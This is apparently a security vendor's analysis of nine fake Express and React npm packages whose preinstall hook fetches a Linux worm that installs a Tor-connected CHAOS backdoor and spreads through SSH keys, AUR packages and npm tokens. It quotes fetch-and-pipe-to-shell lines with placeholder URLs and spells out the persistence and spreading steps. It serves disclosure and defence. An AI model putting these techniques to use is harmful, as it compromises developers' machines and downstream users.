DirtyBlanket: Fake Express Packages on npm Spread a Linux Worm

· SafeDep ·

11 min read Original article ↗

Nine npm packages hide a self-spreading Linux worm. The npm account dirtyblanket published all nine on September 29, 2026, in 33 minutes. Eight of them copy the popular Express framework. One copies React.

Installing any of the packages on Linux starts this chain:

  1. npm install runs a preinstall hook that downloads node.js through the Internet Archive Wayback Machine.
  2. node.js downloads the worm, linux.sh, from Codeberg and runs it with bash.
  3. The worm installs a backdoor, systemd-fontd, as a fake systemd font service. It is the open-source CHAOS remote access tool. Over Tor, it gives the operator a shell, file access, and screenshots.
  4. It uses every SSH private key on the machine to log in to the hosts in known_hosts and runs itself there.
  5. It adds itself to the Arch User Repository (AUR) packages that those keys can push to.
  6. It uses the npm tokens on the machine to publish new versions of your npm packages that install the worm.

Each new host, AUR package, and npm version starts the chain again. If a Linux machine installed one of these packages, treat the machine and every key and token on it as compromised.

The packages

All nine packages come from the same npm user, dirtyblanket ([email protected]). The user published them between 06:05 and 06:38 UTC.

PackageVersionPublished (UTC)Copies
xeprews5.2.106:05:54Express
express-javascript5.2.106:09:16Express
express-nodejs5.2.106:12:06Express
react-nodejs19.3.006:12:36React
exprdd5.2.106:31:51Express
exprrdd5.2.106:32:03Express
exptrdd5.2.106:35:14Express
exptred5.2.106:36:42Express
exptredd5.2.106:38:56Express

The preinstall hook

All nine packages have the same preinstall line:

package.json (all nine packages, excerpt)

JSON 1 lines

When you install one of these packages, npm runs this hook, which downloads node.js and runs it with node. The script is not in the package and has no version pin or integrity check, so the operator can change it at any time.

The URL loads a raw file from Codeberg through the Wayback Machine (web[.]archive[.]org/web/). Network logs show a request to web.archive.org, not to Codeberg, and many allowlists trust web.archive.org. The archive copy also stays available after Codeberg removes the repository.

Stage one: node.js

The Wayback Machine has one capture of node.js, dated September 29, 2026 at 05:24:36 UTC (snapshot 20260929052436). This is about 40 minutes before dirtyblanket published the first package, xeprews, at 06:05 UTC.

The Wayback Machine capture of node.js, as served on 29 September 2026.

The capture contains this code:

node.js (Wayback Machine copy of codeberg.org/hellscripter/install-scripts)

JS 9 lines

On Linux, the script downloads linux.sh from the same Codeberg repository and pipes it into bash.

  • Linux only. On macOS and Windows the script does nothing.
  • No Wayback Machine for stage two. The script downloads linux.sh from codeberg[.]org, not from the archive.
  • Silent failure. The exec callback is empty (()=>{}), so the script ignores errors and output. The install finishes and prints no output from the second stage.
  • Unfinished Windows branch. The operator commented out a PowerShell branch that points to the placeholder example.com/windows.ps1. Inference: the operator plans to add Windows support later.
  • Unused import. The script imports platform but reads process.platform instead.

Stage two: the Linux worm

linux.sh is a 227-line Bash script. It runs with the permissions of the user who ran npm install. As root, it also installs system packages and a system service.

Stage URLs

The script starts with four URLs. Three go through the Wayback Machine. The operator commented out the fourth, a PowerShell script for Windows that points to example.org. Inference: the operator plans to add Windows support later, the same as in node.js.

systemd-fontd is a binary in the same Codeberg repository. The worm installs it as its backdoor.

Main function

The last line of the script runs _async_pre_install in the background and sends all its output to /dev/null. npm install finishes, but the worm keeps running.

linux.sh (_async_pre_install and the last line)

BASH 41 lines

The main function runs six steps:

  1. As root, it installs tor, openssh, git, npm, and build tools. On Arch Linux it runs pacman again every second until the install succeeds. On Debian it runs apt-get install once.
  2. It starts the backdoor install (_deploy_fontrenderd) in the background.
  3. It sets GIT_TERMINAL_PROMPT=0, so Git never waits for a password.
  4. It copies the known_hosts files of all users, of /root, and of Windows users under Windows Subsystem for Linux (WSL, /mnt/c/Users/*) into one temporary file. It also adds the system files /etc/ssh/ssh_known_hosts and /etc/ssh/ssh_known_hosts2.
  5. It runs file on every file under each .ssh directory and keeps each file that is an OpenSSH private key. For each key, it starts _use_ssh_key in the background.
  6. It runs dirname /**/package.json, which searches the full file system for package.json files. For each directory outside node_modules, it starts _do_npm_update in the background.

The backdoor

_deploy_fontrenderd installs the systemd-fontd binary as a service that looks like a font service. The binary uses HTTP_PROXY=socks5://127.0.0.1:9050, which points to the local Tor proxy.

linux.sh (_deploy_fontrenderd)

BASH 80 lines

As root:

  • It enables and starts the tor service.
  • It saves the binary as /usr/lib/systemd/systemd-fontrenderd, next to the real systemd binaries.
  • It writes /etc/systemd/system/systemd-fontrenderd.service with the description “Font Rendering Service”. The unit requires tor.service and starts at boot (multi-user.target).
  • It sets KillMode=none, so systemd does not stop the child processes when the service stops.
  • It runs chattr +i on the binary, the unit file, and the unit link. Nobody, including root, can change or delete an immutable file until someone runs chattr -i.

Without root:

  • It downloads the official Tor Expert Bundle 15.0.23 for linux-i686 from dist.torproject.org and extracts it into ~/.config/systemd/systemd-fontrenderd/.
  • It runs that tor as a user service, systemd-fontrenderd.service, with the description “Font Rendering Service”.
  • It saves the binary as ~/.config/systemd/systemd-fontcached and runs it as a second user service, systemd-fontcached.service, with the description “Font Caching Service”. This service starts after the Tor service.
  • Both services start when the user logs in (default.target).

The service names, the descriptions, and the file locations under systemd directories make the backdoor look like a part of systemd. The binary analysis section shows what the binary does.

Spread to other hosts

For each private key, _use_ssh_key reads the host names from the collected known_hosts file. It connects to each host with ssh -o BatchMode=yes, so the login fails instead of asking for a password.

linux.sh (_ssh, _infect_host, _use_ssh_key)

BASH 44 lines

For each host, the script tries each user’s ~/.ssh/config with the key, and it tries the root user with the key. _infect_host first runs ssh with no command to test the login. Then it runs uname. If the remote system is Linux, it downloads linux.sh there, pipes it into bash under nohup, and writes the output to /tmp/log on that host. The worm then runs again on the new host with the permissions of the user it logged in as.

A commented-out branch checks for Windows_NT and runs the PowerShell script. It is not active in this version.

The script reads the first field of each known_hosts line. When OpenSSH hashes host names (HashKnownHosts yes), that field is a hash (|1|...) and not a host name, so the script cannot connect to that host.

Spread to Arch packages

With each key, _use_ssh_key also logs in to [email protected] and runs list-repos. This lists the AUR packages that the key owner maintains. For each package, the script runs _do_aur_update.

linux.sh (_do_aur_update)

BASH 28 lines

_do_aur_update does these steps:

  1. It clones the package from the AUR and loads the PKGBUILD.
  2. It increases pkgrel by one, so users see a new release of the package.
  3. If the package has no .install file, it adds one and names it in the PKGBUILD.
  4. It adds the line bash <(curl '<linux.sh URL>') to the .install file. pacman runs the functions in this file when a user installs or upgrades the package. Inference: because the script adds the line outside any function, it runs when pacman loads the .install file.
  5. It sets the Git name and email to those of the last commit author, so the commit looks like it comes from the maintainer.
  6. It commits with the normal AUR message upgpkg: <pkgver>-<pkgrel>, skips commit signing (--no-gpg-sign), and pushes.

Each AUR user who upgrades one of these packages runs the worm on their own machine.

Spread to npm packages

For each project that it finds, the script runs _do_npm_update.

linux.sh (_do_npm_update)

BASH 28 lines

_do_npm_update does these steps:

  1. It saves a copy of package.json.
  2. It adds curl <node.js URL> | node to the preinstall script. If a preinstall script already exists, the script keeps it and adds the new command after &.
  3. It runs npm version patch, which increases the patch version. In a Git repository, npm version also creates a commit and a tag by default.
  4. It runs npm publish once for each .npmrc it finds. The list includes the .npmrc of each user, of the current directory, of /root, of Windows users under WSL, and $PREFIX/etc/npmrc. Each .npmrc with a valid token publishes the infected version under that token owner’s account.
  5. It restores the original package.json, so the local file shows no change.

The infected version is on the npm registry, but the developer’s local package.json does not show it. The new version has the same preinstall hook as the dirtyblanket packages, so each install of it starts the worm on another machine.

What the worm can reach

On a developer laptop or a CI runner, the worm can use:

  • Every OpenSSH private key without a passphrase that the user can read. As root, this includes the keys of all users.
  • Every host in the known_hosts files that accepts one of those keys.
  • Every AUR package that one of those keys can push to.
  • Every npm package that one of the .npmrc tokens can publish, if a copy of the package is on the disk.

Binary analysis

systemd-fontd (SHA-256 2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2) is a 7.6 MB Go binary for Linux x86-64. The operator stripped the symbol table, but the Go build metadata is still in the file. It names the module github.com/tiagorlampert/CHAOS/client.

systemd-fontd (Go build metadata)

TEXT 18 lines

CHAOS is an open-source remote administration tool on GitHub. It has a server with a web panel and a client that runs on the target machine. The function names in the Go function table of systemd-fontd match the CHAOS client. The binary contains only CHAOS and its dependencies. The operator made two changes. The settings use new key names, and the HTTP client uses a proxy.

Server address and token

The CHAOS client keeps its settings as base64-encoded JSON inside the binary. The decoded settings in systemd-fontd point to a Tor hidden service on port 80:

systemd-fontd (decoded settings)

TEXT 10 lines

The first value is a JWT that the client sends to the server. It is for the CHAOS user default and expires on September 29, 2027. We removed the signature from the token above.

The upstream CHAOS client reads the keys port, server_address, and token. In this binary, the operator changed the three keys to random strings. Inference: the change makes the settings harder to find with a search for the upstream key names.

Proxy settings

The HTTP client in upstream CHAOS does not read proxy settings from the environment. In systemd-fontd, the HTTP client sets Proxy to http.ProxyFromEnvironment. The worm sets HTTP_PROXY=socks5://127.0.0.1:9050 in the service file, so the client sends its HTTP requests through Tor. Upstream CHAOS opens its WebSocket with the default gorilla/websocket dialer, which also reads HTTP_PROXY. Inference: the WebSocket traffic also goes through Tor, because a .onion address only resolves through Tor.

systemd-fontd (disassembly of the HTTP client setup)

TEXT 10 lines

Like upstream CHAOS, the client accepts any TLS certificate (InsecureSkipVerify).

What the operator can do

The command handler in systemd-fontd checks for the same eleven commands as upstream CHAOS. The binary also contains the strings health, device, /client, x-client, jwt=, reboot, poweroff, and xdg-open. The details below, such as the 30-second interval and the 5-second shell limit, come from the upstream source for those functions.

The client sends GET /health to the server, then POST /device with the host name, the user name and ID, the operating system, the architecture, the MAC address, and the local IP address. It repeats this every 30 seconds. At the same time, it opens a WebSocket to ws://<onion>:80/client with the header x-client: <MAC address> and the cookie jwt=<token>, and waits for commands.

CommandWhat the client does on Linux
Any other textRuns the text with sh -c and sends back the output (5-second limit)
getosSends the device information again
screenshotTakes a screenshot of the X11 display and sends it
explore <path>Lists the files in a directory
download <path>Sends a file from the machine to the operator
upload <path>Writes a file from the operator to the machine
delete <path>Deletes a file
open-url <url>Opens a URL with xdg-open
restart, shutdownRuns reboot or poweroff
lock, sign-outNot supported on Linux

The remote shell runs with the permissions of the service. If the worm ran as root, the operator gets a root shell.

Indicators of compromise